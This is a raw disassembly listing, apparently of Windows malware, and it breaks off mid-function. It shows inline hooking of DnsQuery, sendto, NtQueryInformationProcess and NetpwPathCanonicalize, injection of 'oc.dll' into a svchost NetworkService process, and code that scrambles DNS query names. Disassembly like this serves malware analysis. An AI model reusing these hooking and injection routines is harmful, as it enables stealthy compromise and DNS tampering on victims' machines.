call eax ; dword_9BA154
cmp [ebp+arg_4], 22h
mov esi, eax
jnz short loc_9A9E16
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_9A9E16
cmp [ebp+arg_8], 0
jz short loc_9A9E16
cmp [ebp+arg_C], 0
jz short loc_9A9E16
push [ebp+arg_8]
call sub_9A9DA5
pop ecx
loc_9A9E16: ; CODE XREF: sub_9A9DD2+27j
; sub_9A9DD2+2Dj ...
mov eax, esi
pop esi
jmp short loc_9A9E1E
; ---------------------------------------------------------------------------
loc_9A9E1B: ; CODE XREF: sub_9A9DD2+Aj
push 57h
pop eax
loc_9A9E1E: ; CODE XREF: sub_9A9DD2+47j
pop ebp
retn 14h
sub_9A9DD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A9E22(char *lpFirst)
sub_9A9E22 proc near ; CODE XREF: sub_9A9E5D+Fp
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
lpFirst = dword ptr 8
push 0Ch
push offset stru_9A40B8
call __SEH_prolog
xor eax, eax
mov [ebp+var_1C], eax
mov [ebp+ms_exc.disabled], eax
cmp [ebp+lpFirst], eax
jz short loc_9A9E50
push [ebp+lpFirst] ; lpFirst
call sub_9A8D37
pop ecx
mov [ebp+var_1C], eax
jmp short loc_9A9E50
; ---------------------------------------------------------------------------
loc_9A9E49: ; DATA XREF: .text:stru_9A40B8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9A9E4D: ; DATA XREF: .text:stru_9A40B8o
mov esp, [ebp+ms_exc.old_esp]
loc_9A9E50: ; CODE XREF: sub_9A9E22+17j
; sub_9A9E22+25j
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov eax, [ebp+var_1C]
call __SEH_epilog
retn
sub_9A9E22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_9A9E5D(char *lpFirst, int, int, int, int, int)
sub_9A9E5D proc near ; DATA XREF: sub_9AA4BC+9o
lpFirst = dword ptr 8
push ebp
mov ebp, esp
cmp ds:dword_9BA154, 0
jz short loc_9A9E81
push [ebp+lpFirst] ; lpFirst
call sub_9A9E22
test eax, eax
pop ecx
jnz short loc_9A9E81
mov eax, ds:dword_9BA154
add eax, 4
pop ebp
jmp eax
; ---------------------------------------------------------------------------
loc_9A9E81: ; CODE XREF: sub_9A9E5D+Aj
; sub_9A9E5D+17j
push 5B4h ; dwErrCode
call SetLastError
mov eax, 5B4h
pop ebp
retn 18h
sub_9A9E5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A9E95(LPCSTR lpMultiByteStr)
sub_9A9E95 proc near ; CODE XREF: sub_9A9F18+Fp
WideCharStr = word ptr -31Ch
First = byte ptr -11Ch
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
lpMultiByteStr = dword ptr 8
push 30Ch
push offset stru_9A40C8
call __SEH_prolog
xor edi, edi
mov [ebp+var_1C], edi
mov [ebp+ms_exc.disabled], edi
cmp [ebp+lpMultiByteStr], edi
jz short loc_9A9F0B
mov esi, 100h
push esi ; cchWideChar
lea eax, [ebp+WideCharStr]
push eax ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push [ebp+lpMultiByteStr] ; lpMultiByteStr
push edi ; dwFlags
push 0FDE9h ; CodePage
call MultiByteToWideChar
test eax, eax
jz short loc_9A9F0B
push edi ; lpUsedDefaultChar
push edi ; lpDefaultChar
push esi ; cbMultiByte
lea eax, [ebp+First]
push eax ; lpMultiByteStr
push 0FFFFFFFFh ; cchWideChar
lea eax, [ebp+WideCharStr]
push eax ; lpWideCharStr
push edi ; dwFlags
push edi ; CodePage
call WideCharToMultiByte
test eax, eax
jz short loc_9A9F0B
lea eax, [ebp+First]
push eax ; lpFirst
call sub_9A8D37
pop ecx
mov [ebp+var_1C], eax
jmp short loc_9A9F0B
; ---------------------------------------------------------------------------
loc_9A9F04: ; DATA XREF: .text:stru_9A40C8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9A9F08: ; DATA XREF: .text:stru_9A40C8o
mov esp, [ebp+ms_exc.old_esp]
loc_9A9F0B: ; CODE XREF: sub_9A9E95+1Aj
; sub_9A9E95+3Cj ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov eax, [ebp+var_1C]
call __SEH_epilog
retn
sub_9A9E95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_9A9F18(LPCSTR lpMultiByteStr, int, int, int, int, int)
sub_9A9F18 proc near ; DATA XREF: sub_9AA4BC+23o
lpMultiByteStr = dword ptr 8
push ebp
mov ebp, esp
cmp ds:dword_9BA158, 0
jz short loc_9A9F3C
push [ebp+lpMultiByteStr] ; lpMultiByteStr
call sub_9A9E95
test eax, eax
pop ecx
jnz short loc_9A9F3C
mov eax, ds:dword_9BA158
add eax, 4
pop ebp
jmp eax
; ---------------------------------------------------------------------------
loc_9A9F3C: ; CODE XREF: sub_9A9F18+Aj
; sub_9A9F18+17j
push 5B4h ; dwErrCode
call SetLastError
mov eax, 5B4h
pop ebp
retn 18h
sub_9A9F18 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A9F50(LPCWSTR lpWideCharStr)
sub_9A9F50 proc near ; CODE XREF: sub_9A9FAE+Fp
First = byte ptr -11Ch
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
lpWideCharStr = dword ptr 8
push 10Ch
push offset stru_9A40D8
call __SEH_prolog
xor eax, eax
mov [ebp+ms_exc.disabled], eax
cmp [ebp+lpWideCharStr], eax
jz short loc_9A9FA1
push eax ; lpUsedDefaultChar
push eax ; lpDefaultChar
push 100h ; cbMultiByte
lea ecx, [ebp+First]
push ecx ; lpMultiByteStr
push 0FFFFFFFFh ; cchWideChar
push [ebp+lpWideCharStr] ; lpWideCharStr
push eax ; dwFlags
push eax ; CodePage
call WideCharToMultiByte
test eax, eax
jz short loc_9A9FA1
lea eax, [ebp+First]
push eax ; lpFirst
call sub_9A8D37
pop ecx
mov [ebp+var_1C], eax
jmp short loc_9A9FA1
; ---------------------------------------------------------------------------
loc_9A9F9A: ; DATA XREF: .text:stru_9A40D8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9A9F9E: ; DATA XREF: .text:stru_9A40D8o
mov esp, [ebp+ms_exc.old_esp]
loc_9A9FA1: ; CODE XREF: sub_9A9F50+17j
; sub_9A9F50+36j ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
xor eax, eax
inc eax
call __SEH_epilog
retn
sub_9A9F50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_9A9FAE(LPCWSTR lpWideCharStr, int, int, int, int, int)
sub_9A9FAE proc near ; DATA XREF: sub_9AA4BC+3Ao
lpWideCharStr = dword ptr 8
push ebp
mov ebp, esp
cmp ds:dword_9BA15C, 0
jz short loc_9A9FD2
push [ebp+lpWideCharStr] ; lpWideCharStr
call sub_9A9F50
test eax, eax
pop ecx
jnz short loc_9A9FD2
mov eax, ds:dword_9BA15C
add eax, 4
pop ebp
jmp eax
; ---------------------------------------------------------------------------
loc_9A9FD2: ; CODE XREF: sub_9A9FAE+Aj
; sub_9A9FAE+17j
push 5B4h ; dwErrCode
call SetLastError
mov eax, 5B4h
pop ebp
retn 18h
sub_9A9FAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A9FE6 proc near ; CODE XREF: .text:009AA05Cp
First = byte ptr -11Ch
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 10Ch
push offset stru_9A40E8
call __SEH_prolog
mov eax, [ebp+arg_0]
xor ecx, ecx
mov [ebp+var_1C], ecx
mov [ebp+ms_exc.disabled], ecx
cmp eax, ecx
jz short loc_9AA040
mov eax, [eax]
cmp eax, ecx
jz short loc_9AA040
push ecx ; lpUsedDefaultChar
push ecx ; lpDefaultChar
push 100h ; cbMultiByte
lea edx, [ebp+First]
push edx ; lpMultiByteStr
push 0FFFFFFFFh ; cchWideChar
push eax ; lpWideCharStr
push ecx ; dwFlags
push ecx ; CodePage
call WideCharToMultiByte
test eax, eax
jz short loc_9AA040
lea eax, [ebp+First]
push eax ; lpFirst
call sub_9A8D37
pop ecx
mov [ebp+var_1C], eax
jmp short loc_9AA040
; ---------------------------------------------------------------------------
loc_9AA039: ; DATA XREF: .text:stru_9A40E8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AA03D: ; DATA XREF: .text:stru_9A40E8o
mov esp, [ebp+ms_exc.old_esp]
loc_9AA040: ; CODE XREF: sub_9A9FE6+1Cj
; sub_9A9FE6+22j ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov eax, [ebp+var_1C]
call __SEH_epilog
retn 4
sub_9A9FE6 endp
; ---------------------------------------------------------------------------
loc_9AA04F: ; DATA XREF: sub_9AA4BC+51o
cmp ds:dword_9BA160, 0
jz short loc_9AA06F
push dword ptr [esp+4]
call sub_9A9FE6
test eax, eax
jnz short loc_9AA06F
mov eax, ds:dword_9BA160
add eax, 4
jmp eax
; ---------------------------------------------------------------------------
loc_9AA06F: ; CODE XREF: .text:009AA056j
; .text:009AA063j
push 5B4h
call SetLastError
mov eax, 5B4h
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AA082 proc near ; CODE XREF: sub_9AA29B+12p
Dst = dword ptr -244h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push 234h
push offset stru_9A40F8
call __SEH_prolog
xor ebx, ebx
mov [ebp+var_1C], ebx
mov [ebp+ms_exc.disabled], ebx
call GetCurrentProcessId
push eax ; th32ProcessID
push 8 ; dwFlags
call CreateToolhelp32Snapshot
mov edi, eax
mov [ebp+var_20], edi
cmp edi, 0FFFFFFFFh
jz short loc_9AA128
mov esi, 224h
push esi ; Size
push ebx ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call memset
add esp, 0Ch
mov [ebp+Dst], esi
lea eax, [ebp+Dst]
push eax ; lpme
push edi ; hSnapshot
call Module32First
jmp short loc_9AA114
; ---------------------------------------------------------------------------
loc_9AA0DC: ; CODE XREF: sub_9AA082+94j
mov eax, [ebp+var_230]
cmp [ebp+arg_0], eax
jb short loc_9AA107
mov ecx, [ebp+var_22C]
add ecx, eax
cmp [ebp+arg_0], ecx
jnb short loc_9AA107
cmp [ebp+arg_4], ebx
jz short loc_9AA0FE
cmp eax, [ebp+arg_4]
jnz short loc_9AA107
loc_9AA0FE: ; CODE XREF: sub_9AA082+75j
mov [ebp+var_1C], 1
jmp short loc_9AA118
; ---------------------------------------------------------------------------
loc_9AA107: ; CODE XREF: sub_9AA082+63j
; sub_9AA082+70j ...
lea eax, [ebp+Dst]
push eax ; lpme
push edi ; hSnapshot
call Module32Next
loc_9AA114: ; CODE XREF: sub_9AA082+58j
test eax, eax
jnz short loc_9AA0DC
loc_9AA118: ; CODE XREF: sub_9AA082+83j
push edi ; hObject
call CloseHandle
jmp short loc_9AA128
; ---------------------------------------------------------------------------
loc_9AA121: ; DATA XREF: .text:stru_9A40F8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AA125: ; DATA XREF: .text:stru_9A40F8o
mov esp, [ebp+ms_exc.old_esp]
loc_9AA128: ; CODE XREF: sub_9AA082+2Dj
; sub_9AA082+9Dj
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov eax, [ebp+var_1C]
call __SEH_epilog
retn
sub_9AA082 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AA135 proc near ; CODE XREF: sub_9AA1CD+65p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push 18h
push offset stru_9A4108
call __SEH_prolog
xor edi, edi
mov [ebp+var_24], edi
mov [ebp+ms_exc.disabled], edi
mov esi, [ebp+arg_0]
add esi, 0Ch
mov [ebp+var_1C], esi
loc_9AA152: ; CODE XREF: sub_9AA135+95j
mov [ebp+var_20], edi
loc_9AA155: ; CODE XREF: sub_9AA135+8Bj
cmp edi, [ebp+arg_C]
jnb short loc_9AA16E
mov al, [esi]
test al, al
jnz short loc_9AA180
mov [ebp+var_24], 1
mov eax, [ebp+arg_8]
mov byte ptr [edi+eax], 0
loc_9AA16E: ; CODE XREF: sub_9AA135+23j
; sub_9AA135+5Dj ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
call nullsub_1
mov eax, [ebp+var_24]
call __SEH_epilog
retn
; ---------------------------------------------------------------------------
loc_9AA180: ; CODE XREF: sub_9AA135+29j
movsx ebx, al
mov [ebp+var_28], ebx
inc esi
mov [ebp+var_1C], esi
mov eax, esi
sub eax, [ebp+arg_0]
cmp eax, [ebp+arg_4]
jnb short loc_9AA16E
push ebx ; Size
push esi ; Src
mov eax, [ebp+arg_8]
add eax, edi
push eax ; Dst
call memcpy
add esp, 0Ch
add esi, ebx
mov [ebp+var_1C], esi
add edi, ebx
mov [ebp+var_20], edi
cmp edi, [ebp+arg_C]
jnb short loc_9AA16E
mov eax, esi
sub eax, [ebp+arg_0]
cmp eax, [ebp+arg_4]
jnb short loc_9AA16E
cmp byte ptr [esi], 0
jz short loc_9AA155
mov eax, [ebp+arg_8]
mov byte ptr [edi+eax], 2Eh
inc edi
jmp short loc_9AA152
sub_9AA135 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AA1CD proc near ; CODE XREF: sub_9AA29B+23p
First = byte ptr -128h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 118h
push offset stru_9A4118
call __SEH_prolog
mov esi, edx
xor edi, edi
mov [ebp+ms_exc.disabled], edi
mov [ebp+var_20], esi
mov al, [esi+2]
test al, 78h
jnz loc_9AA291
test al, 1
jz loc_9AA291
cmp [esi+6], di
jnz loc_9AA291
cmp [esi+8], di
jnz loc_9AA291
cmp [esi+0Ah], di
jnz short loc_9AA291
cmp byte ptr [esi+ecx-5], 0
jnz short loc_9AA291
cmp dword ptr [esi+ecx-4], 1000100h
jnz short loc_9AA291
push 104h
lea eax, [ebp+First]
push eax
push ecx
push esi
call sub_9AA135
add esp, 10h
test eax, eax
jz short loc_9AA291
lea eax, [ebp+First]
push eax ; lpFirst
call sub_9A8D37
pop ecx
test eax, eax
jz short loc_9AA291
lea eax, [ebp+First]
push eax ; Str
call strlen
pop ecx
mov ebx, eax
mov [ebp+var_24], ebx
mov [ebp+var_1C], edi
loc_9AA264: ; CODE XREF: sub_9AA1CD+B6j
cmp [ebp+var_1C], ebx
jnb short loc_9AA285
call rand
xor edx, edx
push 1Ah
pop ecx
div ecx
add edx, 61h
mov eax, [ebp+var_1C]
mov [eax+esi+0Dh], dl
inc [ebp+var_1C]
jmp short loc_9AA264
; ---------------------------------------------------------------------------
loc_9AA285: ; CODE XREF: sub_9AA1CD+9Aj
mov [esi+0Ch], bl
jmp short loc_9AA291
; ---------------------------------------------------------------------------
loc_9AA28A: ; DATA XREF: .text:stru_9A4118o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AA28E: ; DATA XREF: .text:stru_9A4118o
mov esp, [ebp+ms_exc.old_esp]
loc_9AA291: ; CODE XREF: sub_9AA1CD+1Ej
; sub_9AA1CD+26j ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
call __SEH_epilog
retn
sub_9AA1CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AA29B proc near ; DATA XREF: sub_9AA53A+1Ao
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 12h
jl short loc_9AA2C3
push ds:dword_9BA168
push dword ptr [ebp+4]
call sub_9AA082
test eax, eax
pop ecx
pop ecx
jz short loc_9AA2C3
mov ecx, [ebp+arg_8]
mov edx, [ebp+arg_4]
call sub_9AA1CD
loc_9AA2C3: ; CODE XREF: sub_9AA29B+7j
; sub_9AA29B+1Bj
mov eax, ds:dword_9BA164
add eax, 4
pop ebp
jmp eax
sub_9AA29B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AA2CE(LPVOID lpAddress)
sub_9AA2CE proc near ; CODE XREF: sub_9AA40D+51p
Src = byte ptr -40h
var_3F = dword ptr -3Fh
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
nPriority = dword ptr -28h
flOldProtect = dword ptr -24h
var_20 = dword ptr -20h
hThread = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
lpAddress = dword ptr 8
push 30h
push offset stru_9A4128
call __SEH_prolog
mov esi, ecx
mov edi, edx
xor ebx, ebx
mov [ebp+var_2C], ebx
call GetCurrentThread
mov [ebp+hThread], eax
push eax ; hThread
call GetThreadPriority
mov [ebp+nPriority], eax
mov [ebp+ms_exc.disabled], ebx
push 2Ch ; Size
push ebx ; Val
push esi ; Dst
call memset
add esp, 0Ch
mov [esi+28h], edi
mov ecx, [ebp+lpAddress]
mov [esi+24h], ecx
mov [ebp+var_20], ecx
mov [ebp+var_34], ebx
mov [ebp+var_38], 5
loc_9AA31B: ; CODE XREF: sub_9AA2CE+9Fj
cmp ebx, 5
jge short loc_9AA37A
mov eax, [ebp+var_20]
add eax, ebx
push eax
call loc_9B6C60
mov [ebp+var_30], eax
lea ecx, [ebx+esi+4]
push eax ; Size
mov eax, [ebp+var_20]
add eax, ebx
push eax ; Src
push ecx ; Dst
call memcpy
add esp, 10h
mov al, [ebx+esi+4]
mov cl, al
and cl, 0FEh
cmp cl, 0E8h
jz short loc_9AA36F
cmp al, 0FFh
jnz short loc_9AA360
mov al, [ebx+esi+5]
cmp al, 25h
jz short loc_9AA36F
cmp al, 15h
jz short loc_9AA36F
loc_9AA360: ; CODE XREF: sub_9AA2CE+84j
mov eax, [ebp+var_30]
add ebx, eax
mov [esi], ebx
mov [ebp+var_34], ebx
mov ecx, [ebp+lpAddress]
jmp short loc_9AA31B
; ---------------------------------------------------------------------------
loc_9AA36F: ; CODE XREF: sub_9AA2CE+80j
; sub_9AA2CE+8Cj ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
xor eax, eax
jmp loc_9AA407
; ---------------------------------------------------------------------------
loc_9AA37A: ; CODE XREF: sub_9AA2CE+50j
lea eax, [ebx+esi]
mov byte ptr [eax+4], 0E9h
mov edx, [esi]
sub edx, ebx
sub edx, esi
lea edx, [edx+ecx-9]
mov [eax+5], edx
lea eax, [ebp+flOldProtect]
push eax ; lpflOldProtect
push 40h ; flNewProtect
push dword ptr [esi] ; dwSize
push ecx ; lpAddress
mov ebx, VirtualProtect
call ebx ; VirtualProtect
test eax, eax
jz short loc_9AA400
mov [ebp+Src], 0E9h
sub edi, [ebp+lpAddress]
sub edi, 5
mov [ebp+var_3F], edi
push 0Fh ; nPriority
push [ebp+hThread] ; hThread
mov edi, SetThreadPriority
call edi ; SetThreadPriority
push 5 ; Size
lea eax, [ebp+Src]
push eax ; Src
push [ebp+lpAddress] ; Dst
call memcpy
add esp, 0Ch
push [ebp+nPriority] ; nPriority
push [ebp+hThread] ; hThread
call edi ; SetThreadPriority
lea eax, [ebp+flOldProtect]
push eax ; lpflOldProtect
push [ebp+flOldProtect] ; flNewProtect
push dword ptr [esi] ; dwSize
push [ebp+lpAddress] ; lpAddress
call ebx ; VirtualProtect
mov [ebp+var_2C], 1
jmp short loc_9AA400
; ---------------------------------------------------------------------------
loc_9AA3ED: ; DATA XREF: .text:stru_9A4128o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AA3F1: ; DATA XREF: .text:stru_9A4128o
mov esp, [ebp+ms_exc.old_esp]
push [ebp+nPriority] ; nPriority
push [ebp+hThread] ; hThread
call SetThreadPriority
loc_9AA400: ; CODE XREF: sub_9AA2CE+D3j
; sub_9AA2CE+11Dj
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov eax, [ebp+var_2C]
loc_9AA407: ; CODE XREF: sub_9AA2CE+A7j
call __SEH_epilog
retn
sub_9AA2CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AA40D(LPCSTR lpLibFileName, LPCSTR lpProcName, int, int)
sub_9AA40D proc near ; CODE XREF: sub_9AA482+14p
; sub_9AA49F+14p ...
lpLibFileName = dword ptr 8
lpProcName = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push edi
push [ebp+lpLibFileName] ; lpModuleName
xor edi, edi
call GetModuleHandleA
test eax, eax
jnz short loc_9AA42D
push [ebp+lpLibFileName] ; lpLibFileName
call LoadLibraryA
test eax, eax
jz short loc_9AA47D
loc_9AA42D: ; CODE XREF: sub_9AA40D+11j
push esi
push [ebp+lpProcName] ; lpProcName
push eax ; hModule
call GetProcAddress
mov esi, eax
test esi, esi
jz short loc_9AA47C
push 40h ; flProtect
push 103000h ; flAllocationType
push 2Ch ; dwSize
push 0 ; lpAddress
call VirtualAlloc
test eax, eax
mov ecx, [ebp+arg_C]
mov [ecx], eax
jz short loc_9AA47C
mov edx, [ebp+arg_8]
push esi ; lpAddress
mov ecx, eax
call sub_9AA2CE
mov edi, eax
test edi, edi
pop ecx
jnz short loc_9AA47C
push 8000h ; dwFreeType
push eax ; dwSize
push ds:lpAddress ; lpAddress
call VirtualFree
loc_9AA47C: ; CODE XREF: sub_9AA40D+2Fj
; sub_9AA40D+49j ...
pop esi
loc_9AA47D: ; CODE XREF: sub_9AA40D+1Ej
mov eax, edi
pop edi
pop ebp
retn
sub_9AA40D endp
; =============== S U B R O U T I N E =======================================
sub_9AA482 proc near ; CODE XREF: sub_9A799E+1B6p
; sub_9A799E+1D0p
push offset lpAddress ; int
push offset sub_9A9D72 ; int
push offset aNetpwpathcanon ; "NetpwPathCanonicalize"
push offset dword_9A4134 ; lpLibFileName
call sub_9AA40D
add esp, 10h
retn
sub_9AA482 endp
; =============== S U B R O U T I N E =======================================
sub_9AA49F proc near ; CODE XREF: sub_9A799E+29p
push offset dword_9BA150 ; int
push offset sub_9A9DD2 ; int
push offset aNtqueryinforma ; "NtQueryInformationProcess"
push offset aNtdll_dll ; "ntdll.dll"
call sub_9AA40D
add esp, 10h
retn
sub_9AA49F endp
; =============== S U B R O U T I N E =======================================
sub_9AA4BC proc near ; CODE XREF: sub_9A799E+1E5p
push ebx
push ebp
push esi
push edi
push offset dword_9BA154 ; int
push offset sub_9A9E5D ; int
push offset aDnsquery_a ; "DnsQuery_A"
mov esi, offset aDnsapi_dll ; "dnsapi.dll"
push esi ; lpLibFileName
call sub_9AA40D
push offset dword_9BA158 ; int
push offset sub_9A9F18 ; int
push offset aDnsquery_utf8 ; "DnsQuery_UTF8"
push esi ; lpLibFileName
mov edi, eax
call sub_9AA40D
push offset dword_9BA15C ; int
push offset sub_9A9FAE ; int
push offset aDnsquery_w ; "DnsQuery_W"
push esi ; lpLibFileName
mov ebx, eax
call sub_9AA40D
push offset dword_9BA160 ; int
push offset loc_9AA04F ; int
push offset aQuery_main ; "Query_Main"
push esi ; lpLibFileName
mov ebp, eax
call sub_9AA40D
add esp, 40h
test edi, edi
jz short loc_9AA533
test ebx, ebx
jz short loc_9AA533
test ebp, ebp
jz short loc_9AA533
xor eax, eax
inc eax
jmp short loc_9AA535
; ---------------------------------------------------------------------------
loc_9AA533: ; CODE XREF: sub_9AA4BC+68j
; sub_9AA4BC+6Cj ...
xor eax, eax
loc_9AA535: ; CODE XREF: sub_9AA4BC+75j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_9AA4BC endp
; =============== S U B R O U T I N E =======================================
sub_9AA53A proc near ; CODE XREF: sub_9A799E+1BBp
push offset ModuleName ; "dnsrslvr.dll"
call GetModuleHandleA
test eax, eax
mov ds:dword_9BA168, eax
jnz short loc_9AA54F
retn
; ---------------------------------------------------------------------------
loc_9AA54F: ; CODE XREF: sub_9AA53A+12j
push offset dword_9BA164 ; int
push offset sub_9AA29B ; int
push offset aSendto ; "sendto"
push offset aWs2_32_dll ; "ws2_32.dll"
call sub_9AA40D
add esp, 10h
retn
sub_9AA53A endp
; =============== S U B R O U T I N E =======================================
sub_9AA56C proc near ; CODE XREF: StartAddress:loc_9A77DDp
push esi
xor esi, esi
loc_9AA56F: ; CODE XREF: sub_9AA56C+21j
push offset aSvchost_exeKNe ; "svchost.exe -k NetworkService"
call sub_9ABF43
test eax, eax
pop ecx
jnz short loc_9AA591
push 3E8h ; dwMilliseconds
call Sleep
inc esi
cmp esi, 14h
jl short loc_9AA56F
pop esi
retn
; ---------------------------------------------------------------------------
loc_9AA591: ; CODE XREF: sub_9AA56C+10j
push offset ExistingFileName ; "c:\\windows\\system32\\oc.dll"
push eax ; dwProcessId
call sub_9ABCA4
pop ecx
pop ecx
pop esi
retn
sub_9AA56C endp
; =============== S U B R O U T I N E =======================================
sub_9AA5A0 proc near ; CODE XREF: StartAddress+4Dp
push esi
xor esi, esi
loc_9AA5A3: ; CODE XREF: sub_9AA5A0+21j
push offset aOwedace ; "owedAce"
call sub_9ABC24
test eax, eax
pop ecx
jnz short loc_9AA5C5
push 3E8h ; dwMilliseconds
call Sleep
inc esi
cmp esi, 14h
jl short loc_9AA5A3
pop esi
retn
; ---------------------------------------------------------------------------
loc_9AA5C5: ; CODE XREF: sub_9AA5A0+10j
push offset ExistingFileName ; "c:\\windows\\system32\\oc.dll"
push eax ; dwProcessId
call sub_9ABCA4
pop ecx
pop ecx
pop esi
retn
sub_9AA5A0 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9AA5D4(char *Dest)
sub_9AA5D4 proc near ; CODE XREF: sub_9AA85A+1AFp
; sub_9AA85A+1E6p ...
Dest = dword ptr 4
call rand
push 0Ah
cdq
pop ecx
idiv ecx
test edx, edx
jz short locret_9AA5FB
push esi
mov esi, edx
loc_9AA5E7: ; CODE XREF: sub_9AA5D4+24j
push offset asc_9A4224 ; " "
push [esp+8+Dest] ; Dest
call strcat
dec esi
pop ecx
pop ecx
jnz short loc_9AA5E7
pop esi
locret_9AA5FB: ; CODE XREF: sub_9AA5D4+Ej
retn
sub_9AA5D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AA5FC(char *Dest)
sub_9AA5FC proc near ; CODE XREF: sub_9AA6DB+59p
; sub_9AA6DB+7Dp ...
Source = byte ptr -4
var_3 = byte ptr -3
Dest = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, rand
call esi ; rand
push 0Ah
cdq
pop ecx
idiv ecx
test edx, edx
jz short loc_9AA63D
push edi
mov edi, edx
loc_9AA616: ; CODE XREF: sub_9AA5FC+25j
; sub_9AA5FC+29j ...
call esi ; rand
and al, 1Fh
inc al
cmp al, 0Dh
mov [ebp+Source], al
jz short loc_9AA616
cmp al, 0Ah
jz short loc_9AA616
lea eax, [ebp+Source]
push eax ; Source
push [ebp+Dest] ; Dest
mov [ebp+var_3], 0
call strcat
dec edi
pop ecx
pop ecx
jnz short loc_9AA616
pop edi
loc_9AA63D: ; CODE XREF: sub_9AA5FC+15j
pop esi
leave
retn
sub_9AA5FC endp
; =============== S U B R O U T I N E =======================================
sub_9AA640 proc near ; CODE XREF: sub_9AA6DB:loc_9AA75Ep
; sub_9AA7AA+4Ep ...
call rand
push 3
cdq
pop ecx
idiv ecx
sub edx, 0
jz short loc_9AA665
dec edx
jz short loc_9AA65E
dec edx
jnz short locret_9AA672
push offset asc_9A4230 ; "\n"
jmp short loc_9AA66A
; ---------------------------------------------------------------------------
loc_9AA65E: ; CODE XREF: sub_9AA640+12j
push offset asc_9A422C ; "\r"
jmp short loc_9AA66A
; ---------------------------------------------------------------------------
loc_9AA665: ; CODE XREF: sub_9AA640+Fj
push offset asc_9A4228 ; "\r\n"
loc_9AA66A: ; CODE XREF: sub_9AA640+1Cj
; sub_9AA640+23j
push esi ; Dest
call strcat
pop ecx
pop ecx
locret_9AA672: ; CODE XREF: sub_9AA640+15j
retn
sub_9AA640 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AA673(char *Dest, char)
sub_9AA673 proc near ; CODE XREF: sub_9AA6DB+72p
; sub_9AA7AA+20p ...
Source = byte ptr -4
var_3 = byte ptr -3
Dest = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
mov esi, rand
call esi ; rand
push 19h
cdq
pop ecx
idiv ecx
inc edx
jz short loc_9AA6D8
push edi
mov edi, edx
loc_9AA68C: ; CODE XREF: sub_9AA673+62j
cmp [ebp+arg_4], 0
jz short loc_9AA6AA
call esi ; rand
test al, 1
jnz short loc_9AA6AA
call esi ; rand
cdq
mov ecx, 80h
idiv ecx
add dl, 80h
mov [ebp+Source], dl
jmp short loc_9AA6C2
; ---------------------------------------------------------------------------
loc_9AA6AA: ; CODE XREF: sub_9AA673+1Dj
; sub_9AA673+23j
call esi ; rand
cdq
push 1Ah
pop ecx
idiv ecx
